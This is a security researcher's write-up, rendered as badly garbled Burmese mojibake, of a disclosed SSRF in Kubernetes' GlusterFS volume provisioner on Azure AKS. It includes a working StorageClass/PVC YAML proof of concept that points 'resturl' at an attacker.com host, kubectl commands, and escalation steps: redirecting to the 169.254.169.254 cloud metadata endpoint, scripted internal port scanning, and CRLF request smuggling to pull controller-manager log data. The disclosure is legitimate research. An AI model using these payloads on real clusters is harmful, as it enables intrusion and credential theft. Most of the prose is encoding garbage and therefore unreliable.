ááŸááºáá»ááºá áá¬áá¬ááŒááº: á€áá±á¬ááºážáá«ážáá
á¬áá±ážááá¬áá»á¬ážááẠá¡á¬ážáááºážáá»ááºááᯠááŸá¬ááœá±ááœá±á·ááŸáááẠá
á®áá¶áá¯á¶á¡ááŒá±á¬ááºáž á¡áá±ážá
áááºááᯠááœá±ážááœá±ážááŒáááºá
áá»áœááºá¯ááºááá¯á·ááááºáá°ááœá±áá²
áá»áœááºá¯ááºááá¯á·ááẠKubernetes ááœáẠá¡á¬ážáááºážáá»ááºáá áºáá¯ááᯠáá°ážááœá²ááŸá¬ááœá±ááœá±á·ááŸááá²á·áá±á¬ ááŒááºáá áºáá¯á¶ááŒá¯á¶áá±ážáá¯áá±áá®ááŸá áºáŠážááŒá áºáááºá áá»áœááºá¯ááºááá¯á·áá¡áááºáá»á¬ážááŸá¬ Brice Augras ááŸáá·áº Christophe Hauquiert ááŒá áºáá±á¬áºáááºáž Bug Bounty ááááºáá±á¬ááºážá¡áá»á¬ážá¡ááŒá¬ážááœáẠáá»áœááºá¯ááºááá¯á·ááᯠReeverzax ááŸáá·áº Hach áá°á á¡áá®ážáá®ážáá±á«áºáá±á«áºááŒáááº-
-
Brice Augras -Groupe Asten áá¯áá¹ááá® ; -
Christophe Hauquiert - Nokia á០Kubernetes áááá¯áá¬ááá¬ááŸááºá
áá¬ááŒá áºááœá¬ážáá¬áá²?
á€áá±á¬ááºážáá«ážááẠáá¬áááºáá¯áá±ááááá±á¬áá»ááºáá áºáá¯á០ááá»áŸá±á¬áºááá·áºáá² ááá¯ážáá±á¬ááºááŸá¬ááœá±áá°áá»á¬ážáááááœáẠá áááºááŸá¯ááºááŸá¬ážá áá¬á¡áá±á¬ááºážáá¯á¶ážá áœáá·áºá á¬ážáááºážá¡ááŒá áºááá¯á· ááŒá±á¬ááºážáá²ááœá¬ážáá¯á¶ááᯠáá»áŸáá±ááá·áºáááºážáááºážááŒá áºáááºá
áááºááááá·áºá¡ááá¯ááºážá ááá¯ážáá±á¬ááºááŸá¬ááœá±áá°áá»á¬ážááœáẠáááºááŸá¬ážáá±á¬á¡ááºá¹áá«áááºá¡áá»áá¯á·ááŸááááºá
- áá®áá¬ááŸáá·áº áá®áá¬áá±á«áºááœáẠáá±ááá¯ááºááŒáááºá
- áááŒá¬ážáá°ááœá± á¡áááºáá»á±á¬áºááœá¬ážáá²á·á¡áá« á¡áá¯ááºáá¯ááºááŒáááºá
áá»áœááºá¯ááºááá¯á·ááẠá€á ááºážáá»ááºážáá»á¬ážá¡ááœáẠááŒáœááºážáá»ááºááá¯ááºáá«- áá»áœááºá¯ááºááá¯á· áá»á¬ážáá±á¬á¡á¬ážááŒáá·áº á áá±á ááá¯á·áá±á¬áº á€ááá»á¬ážáá²á០áá áºáá¯ááẠá¡ááœááºáá°ážááŒá¬ážáá±á¬ áááºážáááºážááŒáá·áº á¡áá¯á¶ážáááºáá²á·áááºá
á¡á
ááá±á¬á· áá°ážáá±á«ááºážáá«áááºááœá±ážááœá±ážááá¯á· ááœá±á·áá¯á¶ááœá¬ážáááºá
á áá áá¬áá®ááŸá¬ áá¯áá±áááá¯ááºááá¯á· ááá¯ááºááŒá®áž ááááºá á±á¬á á±á¬ á¡áááºáá¬áááºáá±á¬á· ááááºááᯠá¡áááºážáá»á±áááºáááºá á€áá¯áá±ááááŒá±á¬áá·áº áá»áœááºá¯ááºááá¯á·ááẠMSRC Bug Bounty áááá¯ááááºááᯠááŒááºáá»á±á¬áºááŒá®áž á¡ááœáá·áºáá°ážááá¯ážááŒáá·áºááŒááºážááá¯ááºáᬠá¡áá¯á¶ážáá»ááŸá¯áá áºáᯠáááŸááá¬áá±á¬ááŒá±á¬áá·áºááŒá áºáááºá
áááºááá¹ááááº/ááá»á¬ážá áœá¬ááŒá¬ááŒá®ážáá±á¬áẠáá»áœááºá¯ááºááá¯á·ááá»áŸá±á¬áºááá·áºááá¬ážáá±á¬ááááºááẠAzure Cloud Bug Bounty ááááá¯ááºážáá áºáá»áŸá±á¬ááºááœáẠá¡ááŒáá·áºáá¯á¶ážáá¯áá»á¬ážáá²ááŸáá áºáá¯ááŒá áºááẠ- Kubernetes ááŸáááŸáááá·áºáá¯á¡ááŒááºá
áá»áœááºá¯ááºááá¯á·á áá¯áá±ááááá±á¬áá»ááºááᯠá¡ááŒá±áá¶á Kubernetes áá¯ááºáá¯ááºáá¯á¶ááŒá¯á¶áá±ážáá±á¬áºááá®á០áá¯ááºááŒááºáá²á·áááºá
á¡áá¯ááœá±á·ááŸááá¬ážáá²á· á¡á¬ážáááºážáá»ááºá¡ááŒá±á¬ááºáž á¡áá»ááºá¡áááºááœá±ááᯠá¡áááºááá¯ááºáá¯á¶áž ááŒáá·áºáá»ááºáá«áááºá infosec á¡ááá¯ááºážá¡ááá¯ááºážá á¡ááŒá¬ážá¡ááœá²á·áááºáá»á¬ážááŸáá·áº áááºážááá¬ááá¯ááºáá¬á¡áá±ážá áááºá¡áá»ááºá¡áááºáá»á¬ážááᯠááŸá¬ááœá±ááŒá®áž áá»áŸáá±ááŒááºážá¡á¬áž áááºáá»á±ážáá°ážáááºááŒá±á¬ááºáž áá»áœááºá¯ááºááá¯á·áá»áŸá±á¬áºááá·áºáá«áááºá
áá«ááᯠáá«ááá¯á· áá¬ááºáááºážáá±ážáá±á«á·...
á áá¬ážá ááº
ááŒá áºáá»ááºáá²á·ááá»áŸááᯠá¡áá®ážá ááºáá¯á¶ážáá¬ážáááºá á±áááºá cloud á á®áá¶ááá·áºááœá²ááá·áºáááºáááºážáá»ááºááœáẠKubernetes áááºááá¯á·á¡áá¯ááºáá¯ááºáááºááᯠáŠážá áœá¬ááŒáá·áºááŒáá«á áá¯á·á
ááá¯ááá¯á·áá±á¬áááºáááºážáá»ááºááœáẠKubernetes á¡á á¯á¡áá±ážáá áºáá¯ááᯠááẠáá»ááºáá»ááºážáá¯ááºáá±á¬ááºáá±á¬á¡áá«á á á®áá¶ááá·áºááœá²ááŸá¯á¡ááœáŸá¬ááẠáá¯á¶ááŸááºá¡á¬ážááŒáá·áº cloud áááºáá±á¬ááºááŸá¯áá±ážáá°á áá¬áááºááŒá áºáááº-
ááááºážáá»á¯ááºááŸá¯á¡ááœáŸá¬ááẠcloud áááºáá±á¬ááºááŸá¯áá±ážáá°á áááºáááºážáá»ááºááœáẠáááºááŸáááŒá®áž Kubernetes nodes áá»á¬ážááẠáá¯á¶ážá
áœá²áá°á áááºáááºážáá»ááºááœáẠáááºááŸááá±áá«áááºá
volumes áá»á¬ážááᯠááá¯ááºážááá áºáá»áá»ááœá²áá±áááºááŸááºáááºá¡ááœááºá áááºážááá¯á·á¡á¬áž ááŒááºáááá¯ááŸá±á¬ááºááŸá¯áá±á¬ááºááœááºááŸáá±á áááºážááá¯á·á¡á¬áž ááá¯ááºááá¯ááºáá»áá»áá¶á·ááá¯ážáá±ážáᬠPVC (áááºáááºáááºááŸááá±áá±á¬á¡áá¶á¡ááá¯ážá¡áá»ááºáá±á¬ááºážááá¯ááŸá¯á ááá¬ááá áºáá¯áá±á¬ááºážááá¯ááŸá¯) ááŸáá·áº ááŸáá¯ááºážááŸááºáááºá¡ááœáẠááá¹ááá¬ážáá áºáá¯ááá¯á¡áá¯á¶ážááŒá¯áááºá
ááá¯á·ááŒá±á¬áá·áº PVC ááᯠáááºáá®ážááŒá®áž K8s á¡á
á¯á¡áá±ážááŸá StorageClass ááŸáá·áº áá»ááºááŸá±á¬ááºááŒá®ážáá±á¬ááºá ááá¬áááᯠáá±ážáá±á¬ááºááẠáá±á¬ááºáááºáá¯ááºáá±á¬ááºááŸá¯áá»á¬ážááᯠkube/cloud controller áááºáá±áá»á¬á០ááœáŸá²ááŒá±á¬ááºážáá°ááẠ(áááºážáá¡áááºá¡ááá¡áá»ááẠááœááºááŸáááŸá¯á¡áá±á«áº áá°áááºáááº)á (ááŸááºáá»ááºá áá¬áá¬ááŒááº: áá»áœááºá¯ááºááá¯á·ááẠcloud áá¶á·ááá¯ážáá±ážáá°áá»á¬ážá¡áááºá០áá
áºáá¯á¡ááœáẠáááºážáá¡áá±á¬ááºá¡áááºáá±á¬áºááŸá¯ááá°áá¬ááᯠá¡áá¯á¶ážááŒá¯á CCM á¡ááŒá±á¬ááºáž ááá¯ááá¯áá±ážáá¬ážáá¬ážááŒá®ážááŒá
áºáááºá
Kubernetes ááŸáá¶á·ááá¯ážáá±ážáá±á¬ áááºáá±á¬ááºááŸá¯áá±ážáá° á¡áá»áá¯ážá¡á
á¬ážáá»á¬ážá
áœá¬ ááŸááááº- á¡áá»á¬ážá
á¯ááŸá¬ áááºážááá¯á·áá²ááœáẠáá«áááºáá«áááºá
áá»áœááºá¯ááºááá¯á·á áá¯áá±ááááœááºá á¡á±á¬ááºáá±á¬áºááŒáá« áá¯á¶ááœááºááŒáá¬ážááá·áº á¡ááœááºážááá¯ááºáž ááá¬á áá¶á·ááá¯ážáá±ážáá±áž ááá¹ááá¬ážááᯠáá»áœááºá¯ááºááá¯á· á¡á¬áá¯á¶á áá¯ááºáá²á·áááº-
Built-in Kubernetes áááºáá±á¬ááºááŸá¯áá±ážáá°ááᯠá¡áá¯á¶ážááŒá¯á volumes áá»á¬ážááᯠááá¯ááºážááá
áºááŒáá·áº á
á®áá¶áá±á¬ááºááœááºáá±ážááŒááºážá
á¡ááá¯áá»á¯ááºááŒá±á¬ááá»áŸáẠKubernetes ááᯠá á®áá¶ááá·áºááœá²ááá·áºáááºáááºážáá»ááºááœáẠá¡áá¯á¶ážááŒá¯ááá·áºá¡áá« ááááºážáá»á¯ááºáá°áááºáá±áá»á¬ááẠcloud áááºáá±á¬ááºááŸá¯áá±ážáá°ááá¬áááºááŒá áºáááºá ááá¯á·áá±á¬áº á¡áá¶á¡ááá¯ážá¡áá»ááºáááºáá®ážááŸá¯áá±á¬ááºážááá¯áá»áẠ(á¡áááºáá¯á¶ááœáẠáá¶áá«áẠ3) ááẠcloud áááºáá±á¬ááºááŸá¯áá±ážáá°áá¡ááœááºážááá¯ááºážááœááºáááºá០ááœááºááœá¬ážáá«áááºá ááŒá®ážáá±á¬á· áá«á ááááºááᯠá áááºáááºá á¬ážá áá¬áá±á¬ááºážáá²á· áá±áá¬áá«á
áááºáá¬áá¬ááºáááºáž
á€ááá¹áááœááºá á¡áááºáá±á¬áºááŒáá« á¡áá¯ááºá¡ááœá¬ážá¡áá¬ááᯠá¡ááœáá·áºáá±á¬ááºážáá°á cloud áááºáá±á¬ááºááŸá¯áá±ážáá°á á¡ááœááºážááá¯ááºážá¡áááºážá¡ááŒá áºáá»á¬ážááᯠáááºáá±á¬ááºááŒáá·áºááŸá¯áá¯á¶ááᯠááŸááºážááŒáá«áááºá á¡ááœááºážá¡áá±á¬ááºá¡áá¬ážáá»á¬ážááá°ááŒááºáž ááá¯á·ááá¯áẠá¡ááœáá·áºáá°ážáá»á¬ážááá¯ážááŒáá·áºááŒááºážáá²á·ááá¯á·áá±á¬ á¡áá»áá¯á·áá±á¬áá¯ááºáá±á¬ááºáá»ááºáá»á¬ážááᯠáááºáááºáá²á·ááá¯á·áá¯ááºáá±á¬ááºááá¯ááºáááºááᯠáááºážááẠááá·áºá¡á¬ážááŒááááºááŒá áºáááºá
ááá¯ážááŸááºážáá±á¬ ááŒááºááŸááºááŸá¯áá áºáᯠ(á€ááá á¹á ááœááºá Service Side Request Forgery) ááẠá á®áá¶ááá·áºááœá²áá¬ážáá±á¬ K8s áááºá¡á±á¬ááºááŸá áááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬ážá á¡á á¯á¡áá±ážááá¯á· áá±á¬ááºáááºáááºáááºážáá»ááºááá¯áá»á±á¬áºááœááºááœá¬ážá á±ááẠáá°áá®áá±ážáá²á·áá«áááºá
áá»áœááºá¯ááºááá¯á·ááá¯áá±ááááœáẠáá»áœááºá¯ááºááá¯á·ááẠGlusterFS áá¶á·ááá¯ážáá±ážáá°ááᯠá¡á¬áá¯á¶á áá¯ááºáá²á·áááºá á€á¡ááŒá±á¡áá±ááœáẠáá¯ááºáá±á¬ááºáá»ááºáá»á¬ážááá±á¬ááºááẠsequence ááá¯áá±á¬áºááŒáá¬ážáá±á¬áºáááºáž Quobyte, StorageOS ááŸáá·áº ScaleIO ááá¯á·ááẠáá°áá®áá±á¬á¡á¬ážáááºážáá»ááºááᯠáá¶áááá¯ááºáá»á±ááŸááááºá
ááá¯ááºážááá
áºá¡áá¶á¡ááá¯ážá¡áá»áẠá
á®áá¶áá±á¬ááºááœááºáá±ážááá·áº ááá¹ááá¬ážá¡á¬áž á¡ááœá²áá¯á¶ážá
á¬ážááŒá¯ááŒááºážá
ááá¯ááŸá±á¬ááºááŸá¯á¡áááºážááœá²ááŒááºážá
áááºááŒá¬ááŸá¯á¡ááœááºáž GlusterFS Golang client á¡áááºážá¡ááŒá
áºáá¯ááºááœáẠáá»áœááºá¯ááºááá¯á· resturl
ááá·áºááẠ/volumes
.
áá±á«ááºážááá·áºááŒááºážááŒáá·áº á€áá±á¬ááºáááºáááºážááŒá±á¬ááºážááᯠáááºááŸá¬ážááẠáá¯á¶ážááŒááºáá²á·áááºá #
parameter ááœáẠresturl
. á€áááºááŸá¬ Semi-blind SSRF á¡á¬ážáááºážáá»ááºá¡ááœáẠáá»áœááºá¯ááºááá¯á· á
ááºážáááºáá²á·áá±á¬ ááááá¯á¶áž YAML ááœá²á·á
ááºážááŸá¯áá¯á¶á
á¶ááŒá
áºáááºá (á¥ááᬠáááºááẠSemi-blind ááá¯á·ááá¯áẠhalf-blind SSRF á¡ááŒá±á¬ááºáž ááá¯ááá¯áááºááŸá¯ááá¯ááºáááºá á¥ááá¬á
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
ááá¯á·áá±á¬áẠKubernetes á¡á á¯á¡áá±ážá០á á®áá¶ááá·áºááœá²ááẠbinary ááᯠá¡áá¯á¶ážááŒá¯áá²á·áááºá kubectl. áá¯á¶ááŸááºá¡á¬ážááŒáá·áºá cloud áááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬áž (Azureá Googleá AWS á áááº) ááẠááá·áºá¡á¬áž ဠutility ááœáẠá¡áá¯á¶ážááŒá¯áááºá¡ááœáẠá¡áá±á¬ááºá¡áá¬ážáá»á¬áž ááá°ááẠááœáá·áºááŒá¯áááºá
áááºážááŒá±á¬áá·áº áá»áœááºá¯ááºááẠáá»áœááºá¯ááºá "á¡áá°áž" ááá¯ááºááᯠáá¯á¶ážááá¯ááºáá²á·áá«áááºá Kube-controller-manager ááẠáááŸááá¬áá±á¬ HTTP áá±á¬ááºážááá¯áá»ááºááᯠáá¯ááºáá±á¬ááºáá²á·áááº-
kubectl create -f sc-poc.yaml
ááá¯ááºááá¯ááºáá°áá¡ááŒááºá០á¡ááŒá±
áááºážááŒá®ážáá±á¬áẠáá»á¬ážáááŒá¬áá®ááœááºá ááœáŸááºááŒá¬ážáá»ááºáá»á¬ážááŸáá
áºááá·áº áá
áºááŸááºáá¬áá¬á០HTTP áá¯á¶á·ááŒááºááŸá¯ááá¯áááºáž áá»áœááºá¯ááºááá¯á· áááºáá¶ááá¯ááºáá²á·áá«áááºá describe pvc
ááá¯á·ááá¯áẠget events
kubectl ááœáẠá¡ááŸááºáááºá á€áá°á Kubernetes áááá¯ááºáá¬ááẠáááºážáááááá±ážáá»ááº/á¡ááŸá¬áž áááºáá±á·áá»áºáá»á¬ážááœáẠá¡ááœááºá¡áá»á¯á¶ážáááºáááº...
áá«ááá±á¬á· link áá
áºáá¯áá²á· á¥ááá¬áá
áºáá¯áá«á https://www.google.fr
ááá·áºáááºáá»ááºá¡ááŒá
ẠáááºááŸááºáááºá resturl
:
kubectl describe pvc poc-ssrf
# ОлО же ЌПжеÑе вПÑпПлÑзПваÑÑÑÑ kubectl get events
á€áá»ááºážáááºááŸá¯ááœááºá áá»áœááºá¯ááºááá¯á·ááẠáá±ážááœááºážáá»á¬ážáá²á·ááá¯á· ááá·áºáááºáá¬ážáá²á·áááºá HTTP ááá¯á·á
Ạáá¯ááºááŒááºáá±ážáá»áŸáẠáá¯á¶á·ááŒááºááŸá¯ááá¯ááºáááºá á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠááááá¯ááºáá«á 201. ááá¯á·ááŒá±á¬áá·áºá áá»áœááºá¯ááºááá¯á·ááẠáááºáá±á¬ááºážáá¯áá±ááááŒá¯áá¯ááºááŒá®áž áá»ááºážáááºááŸá¯á¡áá
áºáá»á¬ážááŒáá·áº á€áááºáá¬áá¬ááºáááºážááᯠáá»á²á·ááœááºááẠáá¯á¶ážááŒááºáá²á·áááºá
áá»áœááºá¯ááºááá¯á·á áá¯áá±ááááŒá¯ááŸá¯ ááá¯ážáááºááŸá¯
- Advanced Scenario #1- ááŒááºááá¬áá¬áá áºáá¯á០302 áááºážááŒá±á¬ááºážááœáŸá²ááŒááºážááᯠá¡áá¯á¶ážááŒá¯ááŒááºáž HTTP áááºážáááºážááᯠááŒá±á¬ááºážáá²ááẠá¡ááœááºážáá±áá¬á á¯áá±á¬ááºážááẠááá¯ááá¯ááœááºáá°áá±á¬áááºážáááºážááᯠáá¶á·ááá¯ážáá±ážáááºá
- Advanced Scenario #2- LAN scanning ááŸáá·áº internal resource ááŸá¬ááœá±ááŸá¯ááᯠá¡ááá¯á¡áá»á±á¬ááºáá¯ááºáá«á
- á¡ááá·áºááŒáá·áºá¡ááŒá±á¡áá± #3- HTTP CRLF + ááŸá±á¬ááºááá¯áá°ážááŒááºáž ("ááŸá±á¬ááºááá¯áá±á¬ááºážááá¯ááŒááºáž") ááᯠá¡áá¯á¶ážááŒá¯á á¡á¶áááºááœááºáá»ááŒá áºáá±á¬ HTTP áá±á¬ááºážááá¯ááŸá¯áá»á¬ážááᯠáááºáá®ážáᬠkube-controller ááŸááºáááºážáá»á¬ážá០áá¯ááºáá°áá¬ážáá±á¬ áá±áá¬áá»á¬ážááᯠááŒááºáááºááá°áááºá
áááºážááá¬ááá¯ááºáá¬áááºááŸááºáá»ááºáá»á¬áž
- áá¯áá±ááááẠááŒá±á¬ááºá¥áá±á¬ááá±áááŸá Kubernetes áá¬ážááŸááºáž 1.12 ááŒáá·áº Azure Kubernetes Service (AKS) ááᯠá¡áá¯á¶ážááŒá¯áá²á·áááºá
- á¡áááºááœááºáá±á¬áºááŒáá¬ážáá±á¬ á¡ááŒá±á¡áá±áá»á¬ážááẠKubernetes ááá±á¬ááºáá¯á¶ážááœááºááŸáááŸá¯áá»á¬ážááœáẠáá¯ááºáá±á¬ááºáá²á·áááºááŒá áºáá±á¬ááŒá±á¬áá·áº ááááá¡ááŒá±á¡áá±ááŸááœá²á Golang áá¬ážááŸááºáž †1.12 ááŒáá·áº áááºáá±á¬ááºáá¬ážáá±á¬ Kubernetes ááá¯á¡ááºáááºá
- ááá¯ááºááá¯ááºáá°á ááŒááºááá¬áᬠ-
https://attacker.com
.
Advanced Scenario #1- á¡ááááá¯ááºááá¶áá±á¬áá±áá¬ááᯠááá°áááºááŸáá·áº áááºáá¶áááºá¡ááœáẠHTTP POST áá±á¬ááºážááá¯áá»ááºááᯠááŒááºááœáŸááºážááŒááºážá
áá°ááááºážáááºážááᯠááŒááºáááºááá¯ááºááá¯ááºáá°ááá¬áá¬áááœá²á·á ááºážáá¯á¶ááŒáá·áº ááá¯ááá¯áá±á¬ááºážááœááºáá¬áá«áááºá 302 HTTP RetcodePOST áá±á¬ááºážááá¯áá»ááºá¡á¬áž GET áá±á¬ááºážááá¯áá»ááºá¡ááŒá áºááá¯á· ááŒá±á¬ááºážááẠ(áá¯á¶áá±áá¯á¶ááœáẠá¡ááá·áº 4)
ááááá±á¬ááºážááá¯áá»áẠ(á) ááẠáá±á¬ááºáááºáá¶á០áá¬ááŒááºážááŒá
áºáááºá GlusterFS (Controller Manager) ááœáẠPOST á¡áá»áá¯ážá¡á
á¬ážááŸááááºá á€á¡ááá·áºáá»á¬ážááᯠááá¯ááºáá¬ááŒááºážááŒáá·áº áááºážááᯠGET á¡ááŒá
ẠááŒá±á¬ááºážáá²ááá¯ááºáááº-
- á¡ááá¯ááºážá¡áá¬áá
áºáá¯á¡áá±ááŒáá·áº
resturl
StorageClass ááœááºáááºážááá¯ááœáŸááºááŒáá¬ážáááºáhttp://attacker.com/redirect.php
. - á¡áá¯á¶ážááŸááº
https://attacker.com/redirect.php
á¡á±á¬ááºáá« Location Header ááŒáá·áº 302 HTTP á¡ááŒá±á¡áá±áá¯ááºááŒáá·áº áá¯á¶á·ááŒááºáááº-http://169.254.169.254
. áááºážááẠá¡ááŒá¬ážáá±á¬ áá¬áááœááºáž á¡áááºážá¡ááŒá áºáá»á¬áž ááŒá áºááá¯ááºááẠ- á€ááá á¹á ááœááºá ááŒááºáááºááœáŸááºážááá·áºááºááᯠááá°áá¬á¡ááŒá áºáᬠá¡áá¯á¶ážááŒá¯áá«áááºá - áá¯á¶ááŸááºá¡á¬ážááŒááºá· net/http á á¬ááŒáá·áºááá¯áẠGolang ááẠáá±á¬ááºážááá¯áá»ááºááᯠááŒááºááœáŸááºážááŒá®áž POST á¡á¬áž 302 á¡ááŒá±á¡áá±áá¯ááºááŒáá·áº GET á¡ááŒá áºááá¯á· ááŒá±á¬ááºážáá²áá±ážáᬠááááºá¡áá±ááŒáá·áº HTTP GET áá±á¬ááºážááá¯áá»ááºá¡á¬áž áá áºááŸááºá¡áááºážá¡ááŒá áºááá¯á· ááŒá±á¬ááºážáá²á á±áááºá
HTTP áá¯á¶á·ááŒááºááŸá¯ááá¯ááºáááºááᯠáááºááẠáááºáá¯ááºáá±á¬ááºááẠááá¯á¡ááºáááºá describe
PVC á¡áá¬ááá¹áá¯-
kubectl describe pvc xxx
á€áááºááŸá¬ áá»áœááºá¯ááºááá¯á·áááºáá¶ááá¯ááºááá·áº JSON áá±á¬áºáááºááŸá HTTP áá¯á¶á·ááŒááºááŸá¯á á¥ááá¬áá áºáá¯ááŒá áºáááºá
ááá¯á¡áá»áááºá ááœá±á·ááŸááá²á·áá±á¬ á¡á¬ážáááºážáá»ááºáá»á¬ážá á
áœááºážáá±á¬ááºáááºáá»á¬ážááẠá¡á±á¬ááºáá«á¡áá»ááºáá»á¬ážááŒá±á¬áá·áº á¡ááá·áºá¡áááºááŸááááº-
- á¡ááœááºáá±á¬ááºážááá¯ááŸá¯ááœáẠHTTP áá±á«ááºážá á®ážáá»á¬ážááᯠááá·áºááœááºážááááá«á
- ááá¯ááºáááºá¡ááœááºážááŸá ááá·áºáááºáá±á¬ááºáá»á¬ážáá«ááŸááá±á¬ POST áá±á¬ááºážááá¯ááŸá¯ááᯠáá¯ááºáá±á¬ááºááá¯ááºááŒááºáž áááŸááá« (áááºážááẠá¡áá¯á¶ážááŒá¯áá±ááá·áº etcd instance áá áºáá¯á០áá±á¬á·áááºááá¯ážááᯠáá±á¬ááºážááá¯ááẠá¡áááºááŒá±áááºá 2379 á¡áááºá áá¯ááºááá¬ážáá±á¬ HTTP ááᯠââá¡áá¯á¶ážááŒá¯áá«á ááá¯á·ááºá
- á¡ááŒá±á¡áá±áá¯áẠ200 ááŒá áºáá±á¬á¡áá« áá¯á¶á·ááŒááºááŸá¯ááá¯ááºáááºá¡ááŒá±á¬ááºážá¡áá¬ááᯠááŒááºáááºááá°ááá¯ááºá áœááºážáááŸáááá·áºá¡ááŒáẠáá¯á¶á·ááŒááºááŸá¯ááœáẠJSON á¡ááŒá±á¬ááºážá¡áá¬-á¡áá»áá¯ážá¡á á¬áž ááá«áááºáá«á
á¡ááá·áºááŒáá·áºá¡ááŒá±á¡áá± #2- áá±áááœááºážááœááºáááºááᯠá áááºááºáááºááŒááºážá
áá¯á¶á·ááŒááºááŸá¯áá»á¬ážá¡áá±á«áºá¡ááŒá±áá¶á á€áá áºáááºáááºážáá±á¬ SSRF áááºážáááºážááᯠcloud áááºáá±á¬ááºááŸá¯áá±ážáá°áá¡ááœááºážááá¯ááºážááœááºáááºááá¯á áááºááºáááºááŒá®áž áá¯á¶á·ááŒááºááŸá¯áá»á¬ážá¡áá±á«áºá¡ááŒá±áá¶á á¡áá»áá¯ážáá»áá¯ážáá±á¬áá¬ážáá±á¬ááºááŒááºážáááºáá±á¬ááºááŸá¯áá»á¬áž (Metadata instanceá Kubeletá á áááºááŒáá·áº) ááᯠá á áºáááºážáá±á¬ááºáá°áááºá¡áá¯á¶ážááŒá¯áá²á·áááºá kube ááááºážáá»á¯ááºáááááá¬.
ááááŠážá
áœá¬á Kubernetes á¡á
áááºá¡ááá¯ááºážáá»á¬ážá á
á¶áá¬ážáááºááŒááºážá¡áá±á«ááºáá»á¬áž (8443á 10250á 10251 á
áááºááŒáá·áº) ááᯠáá¯á¶ážááŒááºáá²á·ááŒá®ážá ááá¯á·áá±á¬áẠáá»áœááºá¯ááºááá¯á·ááẠá
áááºááºáááºááŒááºážáá¯ááºáááºážá
ááºááᯠá¡ááá¯á¡áá»á±á¬ááºáá¯ááºáá±á¬ááºááááºááŒá
áºáááºá
á€á¡áááºážá¡ááŒá áºáá»á¬ážááá¯á áááºááºáááºááŒááºážáááºážáááºážááẠá¡ááœááºáááá»ááŒá®áž ááá¹ááááºá áááºáá¬áá»á¬ážááŸáá·áº SSRF áááááá¬áá»á¬ážááŸáá·áº ááá¯ááºáá®ááŸá¯áááŸááááºááá¯ááœá±á·ááŒááºááá±á¬ááŒá±á¬áá·áº áá¯ááºáááºážá ááºáá áºáá¯áá¯á¶ážááᯠá¡ááá¯á¡áá»á±á¬ááºááŒá áºá á±áá±á¬ bash script ááŒáá·áº áá»áœááºá¯ááºááá¯á·áááá¯ááºááá¯ááºáááºáááºážáá»á¬ážááᯠáááºáá®ážááẠáá¯á¶ážááŒááºáá²á·áááºá
á¥ááá¬á¡á¬ážááŒáá·áºá á¡ááœááºážááœááºáááºá á¡ááá¯ááºážá¡ááŒá¬áž 172.16.0.0/12 ááᯠáá»ááºááŒááºá áœá¬ á áááºááºáááºáááºá¡ááœáẠá¡áá¯ááºááá¬áž 15 áŠážááᯠá¡ááŒáá¯ááºá áááºáá²á·áááºá á¡áááºáá±á¬áºááŒáá« IP á¡ááá¯ááºážá¡ááŒá¬ážááᯠááá°áá¬á¡ááŒá áºáᬠááœá±ážáá»ááºáá¬ážááŒá®áž áááºá áá®ážááŒá¬ážáááºáá±á¬ááºááŸá¯áá±ážáá°á IP á¡ááá¯ááºážá¡ááŒá¬ážááá¯á· ááŒá±á¬ááºážáá²ááœá¬ážááá¯ááºáá«áááºá
IP ááááºá á¬áá áºáá¯ááŸáá·áº ááááºáááºážáá áºáá¯ááᯠá áááºáááºáááºá áááºááẠá¡á±á¬ááºáá«á¡ááá¯ááºáž áá¯ááºáá±á¬ááºááẠááá¯á¡ááºáááº-
- áá±á¬ááºáá¯á¶ážá á áºáá±ážáá¬ážáá±á¬ StorageClass ááᯠáá»ááºáá«á
- ááááºá¡áááºááŒá¯áá¬ážáá±á¬ Persistent Volume á¡áá±ážááá¯ááŸá¯ááᯠáááºááŸá¬ážáá«á
- IP ááŸáá·áº Port áááºááá¯ážáá»á¬ážááᯠááŒá±á¬ááºážáá²áá«á
sc.yaml
; - IP ááŸáá·áº port á¡áá áºáá áºáá¯ááŒáá·áº StorageClass ááá¯áááºáá®ážáá«á
- PVC á¡áá áºááá¯áááºáá®ážáá«á
- PVC á¡ááœáẠáá±á¬áºááŒáá»ááºááᯠá¡áá¯á¶ážááŒá¯á á áááºááºááááºáá»á¬ážááᯠáá¯ááºáá°áá«á
á¡ááá·áºááŒáá·áºá¡ááŒá±á¡áá± #3- CRLF ááá¯ážáá±áž + Kubernetes á¡á á¯á¡áá±ážá "á¡áá±á¬ááºáž" áá¬ážááŸááºážáá»á¬ážááœáẠHTTP ááŸá±á¬ááºááá¯ááœááºážááŒááºáž
áááºážá¡ááŒáẠá¡áááºá áááºáá±á¬ááºááŸá¯áá±ážáá°á K8s á¡á á¯á¡áá±ážá áá¬ážááŸááºážáá±á¬ááºážáá»á¬ážááᯠáá±á¬ááºáááºáá»á¬ážá¡á¬áž áááºážááŸááºážáá²á·áááºá О kube-controller-manager áááŸááºáááºážáá»á¬ážááᯠáááºážááá¯á·á¡á¬áž áááºáá±á¬ááºááœáá·áºáá±ážáá²á·ááŒá®ážá á¡áá»áá¯ážáááºáá±á¬ááºááŸá¯ááẠááá¯áááẠáááá¬áá¬áááºá
ááá¯ááºááá¯ááºáá°ááẠáááºážáááá¹áá¡ááá¯ááºáž HTTP áá¯á¶á·ááŒááºááŸá¯ááᯠá¡ááŒáá·áºá¡ááááŸáááẠáá®ááá¯ááºážáá¯ááºáá¬ážáá±á¬ HTTP áá±á¬ááºážááá¯áá»ááºáá»á¬ážááᯠááŒá±á¬ááºážáá²ááẠá¡ááŸááºááááºááẠááá¯áá¡áááºááŒá±áá«áááºá
áá±á¬ááºáá¯á¶ážá¡ááŒá±á¡áá±á¡á¬áž á¡áá±á¬ááºá¡áááºáá±á¬áºááẠá¡á±á¬ááºáá«á¡ááŒá±á¡áá±áá»á¬ážááᯠááŒáá·áºáááºážáá±ážááááº-
- á¡áá¯á¶ážááŒá¯áá°ááẠkube-controller-manager ááŸááºáááºážáá»á¬áž (á¥ááá¬á Azure LogInsights ááœááº) ááá¯á·áááºáá±á¬ááºááœáá·áºááŸáááá«áááºá
